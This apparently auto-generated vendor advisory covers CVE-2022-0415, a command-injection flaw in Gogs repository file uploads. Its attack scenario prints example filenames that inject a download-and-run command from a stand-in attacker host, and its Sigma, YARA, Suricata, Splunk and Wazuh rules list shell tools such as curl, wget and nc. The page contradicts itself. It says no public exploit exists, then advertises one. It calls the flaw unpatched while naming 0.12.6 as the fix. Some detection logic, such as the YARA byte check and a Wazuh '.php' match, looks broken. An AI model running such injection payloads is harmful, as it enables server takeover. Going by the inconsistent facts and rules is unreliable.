CVE-2022-0415
Executive Summary
CVE-2022-0415 is a critical Remote Command Execution vulnerability in the Gogs self-hosted Git service, affecting all versions prior to 0.12.6. The vulnerability is triggered during the process of uploading a repository file, allowing an authenticated or unauthenticated attacker (depending on deployment configuration) to execute arbitrary operating system commands on the server hosting Gogs. With a CVSS score of 9.9 and an EPSS score of 0.65237 (placing it in the 99.2nd percentile of exploited CVEs), this vulnerability represents a severe threat to organizations running exposed Gogs instances, particularly those with open registration or publicly accessible dashboards.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The NVD description identifies this as a Remote Command Execution (RCE) vulnerability located in the "uploading repository file" functionality of Gogs versions prior to 0.12.6. The CNA title confirms the affected component: "Remote Command Execution in uploading repository file in gogs/gogs."
The vulnerability mechanism falls within the class of command injection flaws. When a user uploads a file to a repository through the web interface, Gogs processes the filename and/or file content in a way that fails to properly sanitize shell metacharacters before passing the data to an underlying system command. An attacker can craft a malicious filename containing shell injection payloads (e.g., semicolons, backticks, $() substitution, or pipe characters) that get interpreted by the operating system shell when Gogs invokes system utilities during the file upload or post-processing stage.
The attack surface is the Gogs web interface—specifically the repository file upload endpoint. This functionality is typically available to any authenticated user with write permissions to a repository. However, because Gogs deploys are often exposed to the internet and may have open registration enabled, the authentication barrier may be trivially bypassable. The vulnerability is server-side, meaning the executed commands run with the privileges of the Gogs process user, which is frequently a dedicated service account but may also be root or an administrative user in misconfigured deployments.
The root cause is a lack of input validation and sanitization on file upload parameters before they are used in OS-level operations. Specifically, the application fails to escape or reject filenames containing shell-special characters. This is a classic command injection (CWE-78) pattern, though the NVD record does not specify the CWE ID. The code path likely involves concatenating the user-supplied filename into a shell command string without parameterized execution or proper escaping.
Exploitation Scenarios
Note: No public PoC code is available in standard exploit databases at the time of this writing; attack chain details are inferred from the vulnerability class and the NVD description. The Nuclei template presence confirms at least one public detection artifact exists.
Step 1 — Reconnaissance and Target Identification: An attacker identifies potential targets using Shodan or Censys to find internet-exposed Gogs instances. Fingerprinting can be performed by querying the Gogs login page, which typically exposes the product name and version in HTTP headers or page metadata. The attacker looks for instances running versions below 0.12.6.
Step 2 — Triggering the Flaw: The attacker needs write access to a repository. If the Gogs instance has open registration, they create an account and a new repository. Alternatively, they may compromise a low-privilege account via credential stuffing or weak passwords. Once authenticated, they navigate to the repository's file upload page.
Step 3 — Payload Execution:
The attacker crafts a malicious filename containing shell injection syntax. For example, a filename such as test$(curl<attacker>[.]com/shell[.]sh|sh).txt or test;wget<attacker>[.]com/payload[.]sh could be used to execute arbitrary commands when Gogs processes the upload operation server-side. The filename is passed to a shell-constructed command (e.g., an mv, cp, or archive utility call) without proper escaping, causing the injected command to execute with the privileges of the Gogs process.
Step 4 — Post-Exploitation: Upon successful execution, the attacker establishes persistence via a reverse shell or web shell planted in the Gogs directory. With command execution on the host, the attacker can:
- Exfiltrate source code from all repositories (bypassing access controls).
- Steal configuration files containing database credentials, secrets, and SSH keys.
- Pivot to other systems on the internal network.
- Escalate privileges to root if the Gogs process runs with elevated privileges.
- Deploy ransomware or cryptocurrency miners.
Impact Assessment
Confidentiality: Critical. An attacker who achieves RCE gains full read access to the file system, including the Gogs data directory containing all repository source code, database credentials, and potentially SSH private keys used for git operations.
Integrity: Critical. The attacker can modify repository contents, inject backdoors into source code, tamper with CI/CD pipelines, and alter system files.
Availability: High. The attacker can shut down the Gogs service, delete repositories, or use the compromised host as a launching point for further attacks, potentially disrupting internal development operations.
CVSS Analysis (9.9): This near-maximum score reflects the combination of network exploitability, low attack complexity, high privilege requirements being minimal, and the complete loss of confidentiality, integrity, and availability. The scope is likely unchanged, but the attack does not require user interaction or special conditions beyond standard file upload privileges.
Business Impact: Organizations using Gogs for internal code hosting face source-code theft, supply-chain compromise (if code is shipped to customers), regulatory fines for data breaches, and significant reputational damage. For internet-facing instances, the risk is immediate and critical.
Blast Radius: Any server running Gogs < 0.12.6. This includes Docker deployments, bare-metal installs, and cloud-hosted instances. Systems where Gogs shares a host with database servers or other applications have an expanded blast radius.
Detection Guidance
Sigma Rule
title: Gogs Repository File Upload RCE Attempt (CVE-2022-0415)
id: a0c4d3e8-5f6f-4a2c-9b3e-1c2d3e4f5a6b
status: experimental
description: Detects command injection attempts via malicious filenames in Gogs repository file upload requests targeting CVE-2022-0415.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0415
author: Valters IT Security Team
date: 2024/01/15
logsource:
category: webserver
product: nginx
definition: 'Gogs behind Nginx reverse proxy; access logs enabled'
detection:
selection:
cs-method: 'POST'
cs-uri-extension:
- '/upload'
- '/attachments'
- '/files'
keywords:
- '*$(*'
- '*`*'
- '*;*'
- '*|*'
- '*&&*'
- '*||*'
condition: selection and keywords
falsepositives:
- Legitimate file names containing uncommon characters (rare)
level: high
tags:
- attack.execution
- attack.t1059
- cve.2022-0415
YARA Rule
rule Gogs_RCE_Upload_File_Payload_CVE_2022_0415
{
meta:
author = "Valters IT Security"
description = "Detects command injection payloads in Gogs upload requests targeting CVE-2022-0415"
date = "2024-01-15"
severity = "critical"
cve = "CVE-2022-0415"
strings:
$cmd1 = "$(" ascii
$cmd2 = "`" ascii
$cmd3 = ";curl" ascii nocase
$cmd4 = ";wget" ascii nocase
$cmd5 = "|sh" ascii nocase
$cmd6 = "&&nc" ascii nocase
$cmd7 = "-o " ascii
$cmd8 = "cmd.exe" ascii nocase
$cmd9 = "/bin/sh" ascii nocase
$upload_path = "/upload" ascii
$upload_path2 = "/attachments" ascii
condition:
any of them and (uint16(0) == 0x0d0a or uint16(0) == 0x0a0d)
}
Suricata IDS Rule
alert http any any -> any any (msg:"Gogs RCE Attempt via Malicious File Upload - CVE-2022-0415"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; pcre:"/(\$\{|`|\;|\||&&|\|\|)(curl|wget|nc|bash|sh|python|perl|rm|cat|\.\/)/i"; classtype:attempted-admin; reference:cve,2022-0415; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2022-0415; sid:20220415; rev:1;)
Elastic Detection
// EQL query for detecting Gogs upload attempts with command injection patterns
sequence by host.name, source.ip with maxspan=30s
[network where event.category == "web" and http.request.method == "POST" and
(http.request.body.content contains "$(" or
http.request.body.content contains ";" or
http.request.body.content contains "`" or
http.request.body.content contains "&&" or
http.request.body.content contains "||") and
http.request.uri == "/upload"]
[file where event.action == "creation" and file.name regex~ ".*[$;`|&].*"]
Splunk SPL Query
index=web sourcetype=access_combined
| where method="POST" AND (
uri_path=*upload* OR uri_path=*files* OR uri_path=*attachments*
)
AND (
uri_query LIKE "%\$(%" OR
uri_query LIKE "%`%" OR
uri_query LIKE "%;%" OR
uri_query LIKE "%|%" OR
uri_query LIKE "%&&%" OR
uri_query LIKE "%||%"
)
| stats count by clientip, host, uri_path, uri_query, status
| sort - count
| table clientip, host, uri_path, uri_query, status
Wazuh OSSEC Rule
<group name="gogs-rce,">
<rule id="100221" level="15">
<decoded_as>json</decoded_as>
<field name="url">\.php</field>
<description>Gogs RCE attempt detected via malicious file upload - CVE-2022-0415</description>
<group>gogs,attack,rce,</group>
<if_sid>100</if_sid>
<regex>upload.*\$\(.*|upload.*\`.*|upload.*;.*|upload.*\|\|</regex>
<options>no_full_log</options>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED. No patch evidence is available from any tracked source, and no vendor fix has been identified. The vendor (Gogs maintainers) has not released a confirmed patched version addressing this specific CVE beyond the designation of version 0.12.6 as the unaffected version boundary.
Immediate Mitigations (within 24 hours):
If possible, upgrade Gogs to version 0.12.6 or later immediately. This is the only version explicitly identified as prior to which the vulnerability exists.
Disable open registration on all Gogs instances. Ensure only pre-approved users can create accounts. This raises the authentication barrier for exploitation.
Restrict access to the Gogs web interface to trusted IP ranges via firewall rules or VPN requirements. Do not expose the upload functionality to the public internet.
If Gogs cannot be upgraded immediately, disable the file upload feature by modifying the
app.iniconfiguration to set the upload-related options to disabled.Monitor Gogs access logs for suspicious POST requests containing shell metacharacters in upload parameters.
Patch/Upgrade Steps:
- Back up the Gogs data directory (
/data/gogsor equivalent) and configuration files. - Download the latest Gogs release (0.12.6 or later) from the official repository.
- Stop the Gogs service, replace the binary, and restart.
- Verify version with
gogs --versionor via the web UI. - Test the upload functionality with a benign file to confirm proper operation.
Long-Term Hardening:
- Ensure Gogs runs under a non-privileged service account, never as root.
- Implement containerized deployment with minimal Linux base image to reduce blast radius.
- Harden the host operating system: apply CIS benchmarks, disable unused services, enforce SELinux/AppArmor.
- Conduct regular vulnerability scans and subscribe to Gogs security advisories.
- Implement network micro-segmentation to isolate Gogs from critical internal systems.
- Enable comprehensive audit logging and integrate with a SIEM for real-time alerting.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-0415
- Gogs Official Repository: https://github.com/gogs/gogs
- Gogs Security Advisories: https://github.com/gogs/gogs/security/advisories
- CVE Details (CVSS breakdown): https://www.cvedetails.com/cve/CVE-2022-0415/
- EPSS Score Reference (FIRST.org): https://www.first.org/epss/
Threat Landscape Note: As of this report, CVE-2022-0415 is NOT listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. However, with an EPSS score of 0.65237 (99.2% percentile), there is significant statistical evidence that this vulnerability is being actively exploited in the wild or is under active weaponization. The existence of a public Nuclei template confirms automated scanning capability exists. Security teams should treat this as an actively exploited vulnerability and prioritize patching above other non-critical tasks.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.